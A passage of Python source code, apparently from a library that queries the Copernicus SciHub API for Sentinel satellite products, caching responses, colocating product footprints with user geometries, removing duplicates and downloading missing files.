% safe['filename'] )\n        safe['path'] = None\n    return safe\n\n\ndef download_from_df(safes, destination='.', progress=True):\n    missings = safes[safes['path'].isnull()]\n    logger.debug('missings:%s' % str(missings['path']))\n    global_count = len(missings)\n    logger.info(\"need to download %d/%d safes\" % (global_count, len(safes)))\n    download_list = []\n\n    current = 1\n    error_count = {}\n    while len(missings) != 0:\n        new_missings = missings\n        start_len = len(download_list)\n        for idx, missing in missings.iterrows():\n            downloaded = scihub_download(\n                missing, destination=destination,\n                desc='%d/%d ' % (current, global_count), progress=progress)\n            if downloaded['path']:\n                current = current + 1\n                download_list.append(downloaded)\n                new_missings = new_missings[new_missings['filename'] != downloaded['filename']]\n            else:\n                if downloaded['filename'] not in error_count:\n                    error_count[downloaded['filename']] = 0\n                error_count[downloaded['filename']] = error_count[downloaded['filename']] + 1\n                logger.warning('download failed (#%d)for %s' % (error_count[downloaded['filename']], downloaded['filename']))\n                if error_count[downloaded['filename']] > 2:\n                    logger.warning('to many errors on %s. Skipping' % downloaded['filename'])\n                    new_missings = new_missings[new_missings['filename'] != downloaded['filename']]\n\n        missings = new_missings\n        stop_len = len(download_list)\n        count = stop_len - start_len\n        if count == 0 and len(missings)-len(error_count.keys()) > 0:\n            logger.warning(\"waiting for one of %s safes to be online\" %\n                        len(missings))\n            time.sleep(30)\n\n    logger.info('%d safes downloaded, %d errors' % (len(download_list), len(error_count.keys())))\n    safes.drop(['odata_Online', 'odata_OnDemand', 'badzip'],\n               errors='ignore', inplace=True)\n\n    return safes\n\n\ndef scihubQuery_raw(str_query, user=None, password=None, cachedir=None, cacherefreshrecent=None,\n                    return_cache_status=False):\n    \"\"\"\n    real scihub query, as done on https://scihub.copernicus.eu/dhus/#/home\n    but with cache handling\n     \n    return a geodataframe with responses, or tuple (gdf,cache_status) if return_cache_status is True\n    \"\"\"\n\n    # get default keywords values\n    if user is None:\n        user = default_user\n    if password is None:\n        password = default_password\n    if cachedir is None:\n        cachedir = default_cachedir\n    if cacherefreshrecent is None:\n        cacherefreshrecent = default_cacherefreshrecent\n\n    def decode_date(strdate):\n        # date format can change ..\n        try:\n            d = datetime.datetime.strptime(strdate, dateformat).replace(tzinfo=pytz.UTC)\n        except:\n            d = datetime.datetime.strptime(strdate[0:19], dateformat_alt).replace(tzinfo=pytz.UTC)\n        return d\n\n    decode_tags = {\n        \"int\": int,\n        \"date\": decode_date\n    }\n\n    retry_init = 3\n\n    safes = safes_empty.copy()\n    start = 0\n    count = 1  # arbitrary count > start\n    retry = retry_init\n\n    cache_status = False\n\n    if cachedir: \n        os.makedirs(os.path.join(cachedir, 'xml'), exist_ok=True)\n\n    while start < count:\n        params = OrderedDict([(\"start\", start), (\"rows\", 100), (\"q\", str_query)])\n        root = None\n        xml_cachefile = None\n        if cachedir is not None:\n            md5request = hashlib.md5((\"%s\" % params).encode('utf-8')).hexdigest()\n            xml_cachedir = os.path.join(cachedir, 'xml', md5request[:2])\n            os.makedirs(xml_cachedir, exist_ok=True)\n            xml_cachefile = os.path.join(xml_cachedir, '%s.xml' % md5request[2:])\n            \n            # legacy stuff that might be removed in few months (now 202012)\n            xml_cachefile_legacy = os.path.join(cachedir, \"%s.xml\" % md5request)\n            if os.path.exists(xml_cachefile_legacy):\n                logger.debug('migrating old legacy cache file')\n                os.rename(xml_cachefile_legacy, xml_cachefile)\n                \n            if os.path.exists(xml_cachefile):\n                logger.debug(\"reading from xml cachefile %s\" % xml_cachefile)\n                try:\n                    with open(xml_cachefile, 'a'):\n                        os.utime(xml_cachefile, None)\n                except Exception as e:\n                    logger.warning('unable to touch %s : %s' % (xml_cachefile, str(e)))\n\n                try:\n                    root = remove_dom(etree.parse(xml_cachefile))\n                    int(root.find(\".//totalResults\").text)  # this should enought to test the xml is ok\n                except Exception as e:\n                    logger.warning('removing invalid xml_cachefile %s : %s' % (xml_cachefile, str(e)))\n                    os.unlink(xml_cachefile)\n                    root = None\n\n        if root is not None:\n            cache_status = True\n        else:\n            # request not cached\n            try:\n                xmlout = requests.get(urlapi, auth=(user, password), params=params)\n            except:\n                raise_from(ConnectionError(\"Unable to connect to %s\" % urlapi), None)\n            try:\n                root = remove_dom(etree.fromstring(xmlout.content))\n            except Exception as e:\n                content = nice_string(xmlout.content)\n\n                if 'Timeout occured while waiting response from server' in content:\n                    retry -= 1\n                    logger.warning('Timeout while processing request : %s' % str_query)\n                    logger.warning('left retry : %s' % retry)\n                    if retry == 0:\n                        warnings.warn('Giving up trying to connect %s ' % urlapi, ScihubError)\n                        break\n                    continue\n\n                logger.critical(\"Error while parsing xml answer\")\n                logger.critical(\"query was: %s\" % str_query)\n                logger.critical(\"answer is: \\n {}\".format(content))\n                warnings.warn('Schihub query error %s ' % urlapi, ScihubError)\n\n            if xml_cachefile is not None:\n                try:\n                    int(root.find(\".//totalResults\").text)  # this should enought to test the xml is ok\n                    try:\n                        with open(xml_cachefile, 'w') as f:\n                            f.write(nice_string(root))\n                    except Exception as e:\n                        logger.warning('unable to write xml_cachefile %s : %s' % (xml_cachefile, str(e)))\n                except:\n                    logger.warning('not writing corrupted xml cachefile')\n\n        # <opensearch:totalResults>442</opensearch:totalResults>\\n\n        try:\n            count = int(root.find(\".//totalResults\").text)\n        except:\n            # there was an error in request\n            logger.error('response was:\\n {}'.format(nice_string(root)))\n            if xml_cachefile is not None and os.path.exists(xml_cachefile):\n                os.unlink(xml_cachefile)\n            warnings.warn('invalid request %s ' % str_query, ScihubError)\n            break\n\n        # reset retry since last request is ok\n        retry = retry_init\n\n        # logger.debug(\"totalResults : %s\" % root.find(\".//totalResults\").text )\n        logger.debug(\"%s\" % root.find(\".//subtitle\").text)\n        # logger.debug(\"got %d entry starting at %d\" % (len(root.findall(\".//entry\")),start))\n\n        if len(root.findall(\".//entry\")) > 0:\n            chunk_safes_df = pd.DataFrame(columns=answer_fields)\n            t = time.time()\n            for field in answer_fields:\n                if field.startswith('url'):\n                    if field == 'url':\n                        elts = [d for d in root.xpath(\".//entry/link\") if 'rel' not in d.attrib]\n                    else:\n                        rel = field.split('_')[1]\n                        elts = root.xpath(\".//entry/link[@rel='%s']\" % rel)\n                    tag = 'str'\n                    values = [d.attrib['href'] for d in elts]\n                else:\n                    elts = root.xpath(\".//entry/*[@name='%s']\" % field)\n                    if len(elts) != 0:\n                        tag = elts[0].tag  # ie str,int,date ..\n                        values = [d.text for d in elts]\n                    else:\n                        tag = None\n                        values = []\n                        logger.debug(\"Ignoring field %s (not found).\" % field)\n                if len(values) >= 1:\n                    chunk_safes_df[field] = values\n                    if tag in decode_tags:\n                        chunk_safes_df[field] = chunk_safes_df[field].apply(decode_tags[tag])\n            try:\n                shp_footprints = chunk_safes_df['footprint'].apply(wkt.loads)\n            except:\n                pass\n            chunk_safes_df['footprint'] = shp_footprints\n            chunk_safes = gpd.GeoDataFrame(chunk_safes_df, geometry='footprint', crs=scihub_crs)\n            chunk_safes['footprint'] = chunk_safes.buffer(0)\n            start += len(chunk_safes)\n            logger.debug(\"xml parsed in %.2f secs\" % (time.time() - t))\n\n            # remove cachefile if some safes are recents\n            if xml_cachefile is not None and os.path.exists(xml_cachefile):\n                dateage = (datetime.datetime.utcnow().replace(tzinfo=pytz.UTC) - chunk_safes[\n                    'beginposition'].max())  # used for cache age\n                if dateage < cacherefreshrecent:\n                    logger.debug(\"To recent answer. Removing cachefile %s\" % xml_cachefile)\n                    os.unlink(xml_cachefile)\n            # sort by sensing date\n            safes = pd.concat([safes, chunk_safes], ignore_index=True, sort=False)\n            safes = safes.sort_values('beginposition')\n            safes.reset_index(drop=True, inplace=True)\n            safes = safes.set_geometry('footprint')\n\n        # safes['footprint'] = gpd.GeoSeries(safes['footprint'])\n        safes.crs = scihub_crs\n\n    if return_cache_status:\n        return safes, cache_status\n    else:\n        return safes\n\n\ndef _colocalize(safes, gdf, crs=scihub_crs, coloc=[geopandas_coloc.colocalize_loop], progress=False):\n    \"\"\"colocalize safes and gdf\n    if crs is default and 'geometry_east' and 'geometry_west' exists in gdf,\n    they will be used instead of .geometry (scihub mode)\n    \n    if crs is not default the crs will be used on .geometry for the coloc.\n    \n    the returned safes will be returned in scihub crs (ie 4326 : not the user specified)\n    \"\"\"\n\n    # initialise an empty index for both gdf\n    idx_safes = safes.index.delete(slice(None))\n    idx_gdf = gdf.index.delete(slice(None))\n    logger.info('========= safes : %s',safes)\n    if len(safes) == 0:\n        # set same index as gdf, even if empty, to not throw an error on possible merge later \n        safes.index = idx_gdf\n        return safes\n    gdf = gdf.copy()\n    gdf['geometry'] = gdf.geometry\n    gdf['startdate'] = gdf['beginposition']\n    gdf['stopdate'] = gdf['endposition']\n    safes['startdate'] = safes['beginposition']\n    safes['stopdate'] = safes['endposition']\n\n    safes_coloc = safes.iloc[0:0, :].copy()\n    safes_coloc.crs = scihub_crs\n    scihub_mode = False\n\n    safes_crs = safes.copy()\n\n    geometry_list = ['geometry']\n    if is_geographic(crs) and 'geometry_east' in gdf and 'geometry_west' in gdf:\n        # never reached. replaced with 'scihub_geometry_east_list'\n        raise DeprecationWarning('This should be deprecated')\n        scihub_mode = True\n        # remove unused geometry\n        old_geometry = gdf.geometry.name\n        gdf.set_geometry('geometry_east', inplace=True)\n        gdf.drop(labels=[old_geometry], inplace=True, axis=1)\n        geometry_list = ['geometry_east', 'geometry_west']\n    elif not is_geographic(crs):\n        gdf.set_geometry('geometry', inplace=True)\n        gdf.to_crs(crs, inplace=True)\n        safes_crs.to_crs(crs, inplace=True)\n        safes_coloc.to_crs(crs, inplace=True)\n\n    for geometry in geometry_list:\n        t = time.time()\n        idx_safes_cur, idx_gdf_cur = coloc[0](safes_crs, gdf.set_geometry(geometry), progress=progress)\n        logger.debug('sub coloc %s done in %ds' % (coloc[0].__name__, time.time() - t))\n        idx_safes = idx_safes.append(idx_safes_cur)\n        idx_gdf = idx_gdf.append(idx_gdf_cur)\n        for imethod in range(1, len(coloc)):\n            # check with other coloc method\n            t = time.time()\n            idx_safes_cur_check, idx_gdf_cur_check = coloc[imethod](safes_crs, gdf.set_geometry(geometry),\n                                                                    progress=progress)\n            logger.debug('sub coloc %s done in %.1fs' % (coloc[imethod].__name__, time.time() - t))\n            if not (idx_gdf_cur_check.sort_values().equals(\n                    idx_gdf_cur.sort_values()) and idx_safes_cur_check.sort_values().equals(\n                    idx_safes_cur.sort_values())):\n                raise RuntimeError('difference between colocation method')\n\n    safes_coloc = safes.loc[idx_safes]\n    safes_coloc.index = idx_gdf\n\n    return safes_coloc.drop(['startdate', 'stopdate'], axis=1).to_crs(crs=scihub_crs)\n\n\ndef remove_duplicates(safes_ori, keep_list=[]):\n    \"\"\"\n    Remove duplicate safe (ie same footprint with same date, but different prodid)\n    \"\"\"\n    safes = safes_ori.copy()\n    if not safes.empty:\n        # remove duplicate safes\n\n        # add a temporary col with filename radic\n        safes['__filename_radic'] = [f[0:62] for f in safes['filename']]\n\n        uniques_radic = safes['__filename_radic'].unique()\n\n        for filename_radic in uniques_radic:\n            sames_safes = safes[safes['__filename_radic'] == filename_radic]\n            if len(sames_safes['filename'].unique()) > 1:\n                logger.debug(\"prodid count > 1: %s\" % ([s for s in sames_safes['filename'].unique()]))\n                force_keep = list(set(sames_safes['filename']).intersection(keep_list))\n                to_keep = sames_safes[\n                    'ingestiondate'].max()  # warning : may induce late reprocessing (ODL link) . min() is safer, but not the best quality\n\n                if force_keep:\n                    _to_keep = sames_safes[sames_safes['filename'] == force_keep[0]]['ingestiondate'].iloc[0]\n                    if _to_keep != to_keep:\n                        logger.warning('remove_duplicate : force keep safe %s' % force_keep[0])\n                        to_keep = _to_keep\n                logger.debug(\"only keep : %s \" % set([f for f in safes[safes['ingestiondate'] == to_keep]['filename']]))\n                safes = safes[(safes['ingestiondate'] == to_keep) | (safes['__filename_radic'] != filename_radic)]\n\n        safes.drop('__filename_radic', axis=1, inplace=True)\n    return safes\n\n\ndef get_datatakes(safes, datatake=0, user=None, password=None, cachedir=None, cacherefreshrecent=None):\n    # get default keywords values\n    if user is None:\n        user = default_user\n    if password is None:\n        password = default_password\n    if cachedir is None:\n        cachedir = default_cachedir\n    if cacherefreshrecent is None:\n        cacherefreshrecent = default_cacherefreshrecent\n\n    safes['datatake_index'] = 0\n    for safe in list(safes['filename']):\n        safe_index = safes[safes['filename'] == safe].index[0]\n        takeid = safe.split('_')[-2]\n        safe_rad = \"_\".join(safe.split('_')[0:4])\n        safes_datatake = scihubQuery_raw('filename:%s_*_*_*_%s_*' % (safe_rad, takeid), user=user, password=password,\n                                         cachedir=cachedir, cacherefreshrecent=cacherefreshrecent)\n        # FIXME duplicate are removed, even if duplicate=True\n        safes_datatake = remove_duplicates(safes_datatake, keep_list=[safe])\n\n        try:\n            ifather = safes_datatake[safes_datatake['filename'] == safe].index[0]\n        except:\n            logger.warn('Father safe was not the most recent one (scihub bug ?)')\n\n        # ifather=safes_datatake.index.get_loc(father) # convert index to iloc\n\n        safes_datatake['datatake_index'] = safes_datatake.index - ifather\n\n        # get adjacent safes\n        safes_datatake = safes_datatake[abs(safes_datatake['datatake_index']) <= datatake]\n\n        # set same index as father safe\n        safes_datatake.set_index(pd.Index([safe_index] * len(safes_datatake)), inplace=True)\n\n        # remove datatake allready in safes (ie father and allready colocated )\n        for safe_datatake in safes_datatake['filename']:\n            if (safes['filename'] == safe_datatake).any():\n                # FIXME take the lowest abs(datatake_index)\n                safes_datatake = safes_datatake[safes_datatake['filename'] != safe_datatake]\n\n        safes = safes.append(safes_datatake, sort=False)\n    return safes\n\n\ndef normalize_gdf(gdf, startdate=None, stopdate=None, date=None, dtime=None, timedelta_slice=None, progress=False):\n    \"\"\" return a normalized gdf list \n    start/stop date name will be 'beginposition' and 'endposition'\n    \"\"\"\n    t = time.time()\n    if timedelta_slice is None:\n        timedelta_slice = default_timedelta_slice\n    if gdf is not None:\n        if not gdf.index.is_unique:\n            raise IndexError(\"Index must be unique. Duplicate founds : %s\" % list(\n                gdf.index[gdf.index.duplicated(keep=False)].unique()))\n        if len(gdf) == 0:\n            return []\n        norm_gdf = gdf.copy()\n    else:\n        norm_gdf = gpd.GeoDataFrame({\n            'beginposition': startdate,\n            'endposition': stopdate,\n            'geometry': Polygon()\n        }, geometry='geometry', index=[0], crs=scihub_crs)\n        # no slicing\n        timedelta_slice = None\n\n    # convert naives dates to utc\n    for date_col in norm_gdf.select_dtypes(include=['datetime64']).columns:\n        try:\n            norm_gdf[date_col] = norm_gdf[date_col].dt.tz_localize('UTC')\n            logger.warning(\"Assuming UTC date on col %s\" % date_col)\n        except TypeError:\n            # already localized\n            pass\n\n    # check valid input geometry\n    if not all(norm_gdf.is_valid):\n        raise ValueError(\"Invalid geometries found. Check them with gdf.is_valid\")\n\n    norm_gdf['wrap_dlon'] = False\n\n    crs_ori = norm_gdf.crs\n    if crs_ori is None:\n        logger.warning('no crs provided. assuming lon/lat with greenwich/antimeridian handling')\n        norm_gdf['wrap_dlon'] = norm_gdf.geometry.apply(lambda s: not hasattr(s, '__iter__'))\n        norm_gdf.geometry = norm_gdf.geometry.apply(geoshp.smallest_dlon)\n        norm_gdf.crs = scihub_crs\n\n    # scihub requests are enlarged/simplified\n    if is_geographic(norm_gdf.crs):\n        buff = 2\n        simp = 1.9\n    else:\n        # assume meters\n        buff = 200 * 1000\n        simp = 190 * 1000\n\n    with warnings.catch_warnings():\n        # disable geographic warning\n        warnings.simplefilter(\"ignore\")\n        norm_gdf['scihub_geometry'] = norm_gdf.geometry.buffer(buff).simplify(simp)\n    if crs_ori is None:\n        # re apply smallest dlon if needed\n        norm_gdf['scihub_geometry'] = norm_gdf.set_geometry('scihub_geometry').apply(\n            lambda row: geoshp.smallest_dlon(row['scihub_geometry']) if row['wrap_dlon'] else GeometryCollection(\n                [row['scihub_geometry']]),\n            axis=1)\n\n    if not is_geographic(norm_gdf.crs):\n        # convert scihub geometry to lon/lat (original geometry untouched !)\n        norm_gdf_ori = norm_gdf.copy()\n        crs_ori = norm_gdf.crs\n        norm_gdf['scihub_geometry'] = norm_gdf.set_geometry('scihub_geometry').geometry.apply(\n            lambda s: geoshp.split_shape_crs(s, crs=norm_gdf.crs))\n        norm_gdf['scihub_geometry'] = norm_gdf.set_geometry('scihub_geometry').geometry.to_crs(scihub_crs)\n        # norm_gdf['scihub_geometry'] =\n\n        # check valid output geometry\n        if not all(norm_gdf.set_geometry('scihub_geometry').geometry.is_valid):\n            raise NotImplementedError(\"Internal error converting crs %s to %s\" % (norm_gdf.crs, scihub_crs))\n            # an output geometry is invalid if it include 4326 singularity (ie pole) \n            all_count = len(norm_gdf)\n            valid = norm_gdf.is_valid\n\n            # split into geometry collection that doesn't include singularity\n            corrected = norm_gdf_ori[~valid].geometry.apply(lambda s: geoshp.split_shape_crs(s, crs=norm_gdf_ori.crs))\n\n            norm_gdf.loc[~valid, norm_gdf.geometry.name] = corrected.to_crs(scihub_crs)\n            if not all(norm_gdf.is_valid):\n                raise ValueError(\"unable to convert to crs %s\" % scihub_crs)\n\n            logging.error(\"Converted %s/%s problematic projection %s -> %s geometries \" % (\n            len(corrected), all_count, crs_ori, scihub_crs))\n\n        # encapsulate geometry in collection to presereve large dlon\n        norm_gdf['scihub_geometry'] = norm_gdf.set_geometry('scihub_geometry').geometry.apply(\n            lambda s: GeometryCollection([s]))\n\n    # else:\n    #    norm_gdf.geometry = norm_gdf.geometry.apply(smallest_dlon)\n    east, west = zip(*norm_gdf.set_geometry('scihub_geometry').geometry.apply(geoshp.split_east_west))\n    norm_gdf['scihub_geometry_east_list'] = list(east)\n    norm_gdf['scihub_geometry_west_list'] = list(west)\n\n    if date in norm_gdf:\n        if (startdate not in norm_gdf) and (stopdate not in norm_gdf):\n            norm_gdf['beginposition'] = norm_gdf[date] - dtime\n            norm_gdf['endposition'] = norm_gdf[date] + dtime\n        else:\n            raise ValueError('date keyword conflict with startdate/stopdate')\n\n    if (startdate in norm_gdf) and (startdate != 'beginposition'):\n        norm_gdf['beginposition'] = norm_gdf[startdate]\n\n    if (stopdate in norm_gdf) and (stopdate != 'endposition'):\n        norm_gdf['endposition'] = norm_gdf[stopdate]\n\n    gdf_slices = norm_gdf\n    # slice\n    if timedelta_slice is not None:\n        mindate = norm_gdf['beginposition'].min()\n        maxdate = norm_gdf['endposition'].max()\n        # those index will need to be time expanded\n        idx_to_expand = norm_gdf.index[(norm_gdf['endposition'] - norm_gdf['beginposition']) > timedelta_slice]\n        if maxdate > datetime.datetime.utcnow().replace(tzinfo=pytz.UTC):\n            logger.info(\"%s is future. Truncating.\" % maxdate)\n            maxdate = datetime.datetime.utcnow().replace(tzinfo=pytz.UTC) + datetime.timedelta(days=1)\n        if (mindate == mindate) and (maxdate == maxdate):  # non nan\n            gdf_slices = []\n            slice_begin = mindate\n            slice_end = slice_begin\n            islice = 0\n            nslices = math.ceil((maxdate - mindate) / timedelta_slice)\n            if nslices > 1:\n                logger.info(\"Slicing into %d chunks of %s ...\" % (nslices, timedelta_slice))\n            while slice_end < maxdate:\n                islice += 1\n                slice_end = slice_begin + timedelta_slice\n                # this is time grouping\n                gdf_slice = norm_gdf[\n                    (norm_gdf['beginposition'] >= slice_begin) & (norm_gdf['endposition'] <= slice_end)]\n                # check if some slices needs to be expanded\n                # index of gdf_slice that where not grouped\n                not_grouped_index = pd.Index(set(idx_to_expand) - set(gdf_slice.index))\n                for to_expand in not_grouped_index:\n                    # missings index in gdf_slice.\n                    # check if there is time overlap.\n                    latest_start = max(norm_gdf.loc[to_expand].beginposition, slice_begin)\n                    earliest_end = min(norm_gdf.loc[to_expand].endposition, slice_end)\n                    overlap = (earliest_end - latest_start)\n                    if overlap >= datetime.timedelta(0):\n                        # logger.debug(\"Slicing time for %s : %s to %s\" % (to_expand,latest_start,earliest_end))\n                        gdf_slice = pd.concat([gdf_slice, gpd.GeoDataFrame(norm_gdf.loc[to_expand]).T])\n                        gdf_slice.loc[to_expand, 'beginposition'] = latest_start\n                        gdf_slice.loc[to_expand, 'endposition'] = earliest_end\n                    # else:\n                    # logger.debug(\"no time slice for %s in range %s to %s\" % (to_expand,slice_begin,slice_end))\n                logger.debug(\"Slice {islice:3d} : {ngeoms:3d} geometries\".format(islice=islice, ngeoms=len(gdf_slice)))\n                if not gdf_slice.empty:\n                    gdf_slices.append(gdf_slice)\n                slice_begin = slice_end\n\n            if nslices > 1:\n                logger.info(\n                    'Slicing done in %.1fs . %d/%d non empty slices.' % (time.time() - t, len(gdf_slices), nslices))\n    return gdf_slices\n\n\ndef scihubQuery(gdf=None, startdate=None, stopdate=None, date=None, dtime=None, timedelta_slice=None, filename=None,\n                datatake=0, duplicate=False, query=None, user=None, password=None, min_sea_percent=None, fig=None,\n                cachedir=None, cacherefreshrecent=None, progress=True, verbose=False, full_fig=False, alt_path=None, download=False):\n    \"\"\"\n    \n    input:\n        gdf : \n            None or geodataframe with geometry and date. gdf usually contain almost these cols:\n            index         : an index for the row (for ex area name, buoy id, etc ...)\n            beginposition : datetime object (startdate)\n            endposition   : datetime object (stopdate)\n            geometry      : shapely object (this one is optional for whole earth)\n        date: \n            column name if gdf, or datetime object\n        dtime : \n            if date is not None, dtime as timedelta object will be used to compute startdate and stopdate \n        startdate : \n            None or column  name in gdf , or datetime object . not used if date and dtime are defined. \n            Default to 'beginposition'\n        stopdate : \n            None or column  name in gdf , or datetime object . not used if date and dtime are defined. \n            Default to 'endposition'\n        timedelta_slice:\n            Max time slicing : Scihub request will be grouped or sliced to this. \n            Default to datetime.timedelta(weeks=1).\n            If None, no slicing is done.\n        duplicate : \n            if True, will return duplicates safes (ie same safe with different prodid). Default to False\n        datatake : \n            number of adjacent safes to return (ie 0 will return 1 safe, 1 return 3, 2 return 5, etc )\n        query : \n            aditionnal query string, for ex '(platformname:Sentinel-1 AND sensoroperationalmode:WV)' \n        cachedir : \n            cache requests for speed up. \n        cacherefreshrecent : \n            timedelta from now. if requested stopdate is recent, will refresh the cache to let scihub ingest new data.\n            Default to datetime.timedelta(days=7).\n        fig : \n            matplotlib fig handle ( default to None : no plot)\n        progress : True show progressbar\n        verbose  : False to silent messages\n        alt_path : None, str or list of str\n            search path in str or list of str to get safe path (columns 'path')\n            str is a path string, with optionnal wilcards like `/home/datawork-cersat-public/cache/project/mpc-sentinel1/data/esa/sentinel-${missionid}/L${LEVEL}/${BEAM}/${MISSIONID}_${BEAM}_${PRODUCT}${RESOLUTION}_${LEVEL}${CLASS}/${year}/${doy}/${SAFE}`,\n            or a simple path like '.' or '/tmp/scihub_download'\n            if list, search in the list until a path is found.\n        download : bool\n            imply get_path. default to False. If True, download safes to `alt_path` (if alt_path is a list, the first index is used)\n        download_wait : bool\n            if `download`, will wait for non online safe to be ready. default to False.\n    return :\n        a geodataframe with safes from scihub, colocated with input gdf (ie same index)\n    \"\"\"\n    global default_user\n    global default_password\n    \n    if sys.gettrace():\n        logger.setLevel(logging.DEBUG)\n        progress = False\n        full_fig = True\n    if gdf is not None and len(gdf) == 0:\n        logger.warning(\"No coloc with an empty gdf\")\n        return safes_empty\n    if not sys.stderr.isatty() and \"tqdm.std\" in str(tqdm):\n        progress = False\n\n    # get default keywords values\n    if user is None:\n        user = default_user\n    if password is None:\n        password = default_password\n    # set default user/password\n    default_user = user\n    default_password = password\n\n    if cachedir is None:\n        cachedir = default_cachedir\n    if alt_path is None:\n        alt_path = default_alt_path\n    if cacherefreshrecent is None:\n        cacherefreshrecent = default_cacherefreshrecent\n    if timedelta_slice is None:\n        timedelta_slice = default_timedelta_slice\n    if filename is None:\n        filename = default_filename\n\n    gdflist = normalize_gdf(gdf, startdate=startdate, stopdate=stopdate, date=date, dtime=dtime,\n                            timedelta_slice=timedelta_slice)\n    safes_list = []  # final request\n    safes_not_colocalized_list = []  # raw request\n    safes_sea_ok_list = []\n    safes_sea_nok_list = []\n    scihub_shapes_chunk = []\n    user_shapes = []\n\n    # user crs will be used for coloc\n    if gdf is None or gdf.crs is None:\n        crs = scihub_crs\n    else:\n        crs = gdf.crs\n\n    # decide if loop is over dataframe or over rows\n    if isinstance(gdflist, list):\n        iter_gdf = gdflist\n    else:\n        iter_gdf = gdflist.itertuples()\n\n    idx = 0\n    pbar = tqdm(iter_gdf, total=len(gdflist), disable=not progress, leave=False)\n    ncolocs = 0  # coloc count, for tqdm\n    for gdf_slice in pbar:\n        idx += 1\n        if isinstance(gdf_slice, tuple):\n            gdf_slice = gpd.GeoDataFrame([gdf_slice], index=[gdf_slice.Index])  # .reindex_like(gdf) # only one row\n\n        if gdf_slice.empty:\n            continue\n\n        q = []\n        footprint = \"\"\n        datePosition = \"\"\n\n        # get min/max date\n        mindate = gdf_slice['beginposition'].min()\n        maxdate = gdf_slice['endposition'].max()\n        if (mindate == mindate) and (maxdate == maxdate):  # non nan\n            datePosition = \"beginPosition:[%s TO %s]\" % (mindate.strftime(dateformat), maxdate.strftime(\n                dateformat))  # shorter request . endPosition is just few seconds in future\n            q.append(datePosition)\n\n        q.append(\"filename:%s\" % filename)\n\n        if query:\n            q.append(\"(%s)\" % query)\n\n        shape_east_list = list(filter(bool, gdf_slice['scihub_geometry_east_list']))\n        shape_west_list = list(filter(bool, gdf_slice['scihub_geometry_west_list']))\n\n        shape_east = Polygon()\n        shape_west = Polygon()\n\n        if shape_east_list:\n            shape_east = ops.unary_union(gdf_slice['scihub_geometry_east_list']).buffer(2).simplify(1.9)\n        if shape_west_list:\n            shape_west = ops.unary_union(gdf_slice['scihub_geometry_west_list']).buffer(2).simplify(1.9)\n\n        wkt_shapes = []\n\n        for shape, plan in zip([shape_east, shape_west], [geoshp.plan_east, geoshp.plan_west]):\n            if not shape.is_empty:\n\n                # round the shape\n                scihub_shape_round = wkt.loads(wkt.dumps(shape, rounding_precision=rounding_precision))\n\n                # ensure valid coords after rounding\n                try:\n                    scihub_shape = scihub_shape_round.intersection(plan)\n                    wkt_shapes.append(wkt.dumps(scihub_shape, rounding_precision=rounding_precision))\n                except:\n                    # no rounding\n                    wkt_shapes.append(wkt.dumps(scihub_shape))\n\n                scihub_shapes_chunk.append(scihub_shape)\n\n        footprints = ['footprint:\\\"Intersects(%s)\\\" ' % wkt_shape for wkt_shape in wkt_shapes]\n\n        if footprints:\n            q.append('(%s)' % ' OR '.join(footprints))\n\n        str_query = ' AND '.join(q)\n        logger.debug(\"query: %s\" % str_query)\n\n        if len(str_query) > 8000: # (https://scihub.copernicus.eu/twiki/do/view/SciHubUserGuide/OpenSearchAPI#Discover_the_products_over_a_pre)\n            logger.error(\"query: %s\" % str_query)\n            logger.error('skipping to long query (%s > 8000)' % len(str_query))\n            continue\n\n        t = time.time()\n        safes_unfiltered, cache_status = scihubQuery_raw(str_query, user=user, password=password, cachedir=cachedir,\n                                                         cacherefreshrecent=cacherefreshrecent,\n                                                         return_cache_status=True)\n        elapsed_request = time.time() - t\n        safes_unfiltered_count = len(safes_unfiltered)\n        logger.debug(\"requested safes from scihub : %s (%.2f secs)\" % (safes_unfiltered_count, elapsed_request))\n\n        elapsed_coloc = 0\n        if gdf is not None:\n            t = time.time()\n            if 'filename:S1' in str_query:\n                # some buggy safes on scihub have stopdate < startdate : remove them\n                safes_unfiltered = safes_unfiltered[safes_unfiltered['endposition'] - safes_unfiltered['beginposition'] > datetime.timedelta(0)]\n            logger.info('safes_unfiltered : %s',safes_unfiltered)\n            safes = _colocalize(safes_unfiltered, gdf_slice, crs=crs, progress=False)\n            elapsed_coloc = time.time() - t\n            logger.debug(\"colocated with user query : %s SAFES in %.1f secs\" % (len(safes), elapsed_coloc))\n        else:\n            # no geometry, so whole earth, and no index from gdf\n            safes = safes_unfiltered.copy()\n        safes_not_colocalized = safes_unfiltered[~safes_unfiltered['filename'].isin(safes['filename'])]\n        del safes_unfiltered\n\n        if not duplicate:\n            nsafes = len(safes)\n            safes = remove_duplicates(safes)\n            logger.debug(\"removed %s duplicates\" % (nsafes - len(safes)))\n\n        # datatake collection to be done after colocalisation\n        if datatake != 0:\n            logger.debug(\"Asking for same datatakes\")\n            nsafes = len(safes)\n            safes = get_datatakes(safes, datatake=datatake, user=user, password=password, cachedir=cachedir,\n                                  cacherefreshrecent=cacherefreshrecent)\n            logger.debug(\"added %s datatakes\" % (len(safes) - nsafes))\n\n            if not duplicate:\n                nsafes = len(safes)\n                safes = remove_duplicates(safes)\n                logger.debug(\"removed %s duplicates\" % (nsafes - len(safes)))\n\n        if min_sea_percent is not None:\n            with warnings.catch_warnings():\n                # disable geographic warning\n                warnings.simplefilter(\"ignore\")\n                safes_sea_percent = (safes.area - safes.intersection(earth).area) / safes.area * 100\n            safes_sea_ok = safes[safes_sea_percent >= min_sea_percent]\n            safes_sea_nok = safes[safes_sea_percent < min_sea_percent]\n            safes = safes_sea_ok\n\n        # sort by sensing date  \n        safes = safes.sort_values('beginposition')\n        if gdf is not None:\n            if cache_status:\n                cache_str = \"cache\"\n            else:\n                cache_str = \"http \"\n            time_str = \"\"\n            if elapsed_request > 2 or elapsed_coloc > 2:\n                time_str = \" Times : req {treq:2.1f}s\".format(treq=elapsed_request)\n                if elapsed_coloc > 2:\n                    time_str += \", coloc {tcoloc:2.1f}s\".format(tcoloc=elapsed_coloc)\n\n            status_msg = \"Req {ireq:3d}/{nreq:3d} ( {chunk_size:3d} items ) : {nsafes_ok:3d}/{nsafes:3d} SAFES ({cache_status}) -> {ncoloc:4d} colocs. {time_str}\".format(\n                chunk_size=len(gdf_slice),\n                ireq=idx, nreq=len(gdflist), nsafes_ok=len(safes['filename'].unique()),\n                cache_status=cache_str,\n                nsafes=safes_unfiltered_count, ncoloc=len(safes['filename']),\n                time_str=time_str)\n            ncolocs += len(safes)\n            pbar.set_description(\"coloc : %04d\" % ncolocs)\n            if verbose:\n                tqdm.write(status_msg, file=sys.stderr)\n            else:\n                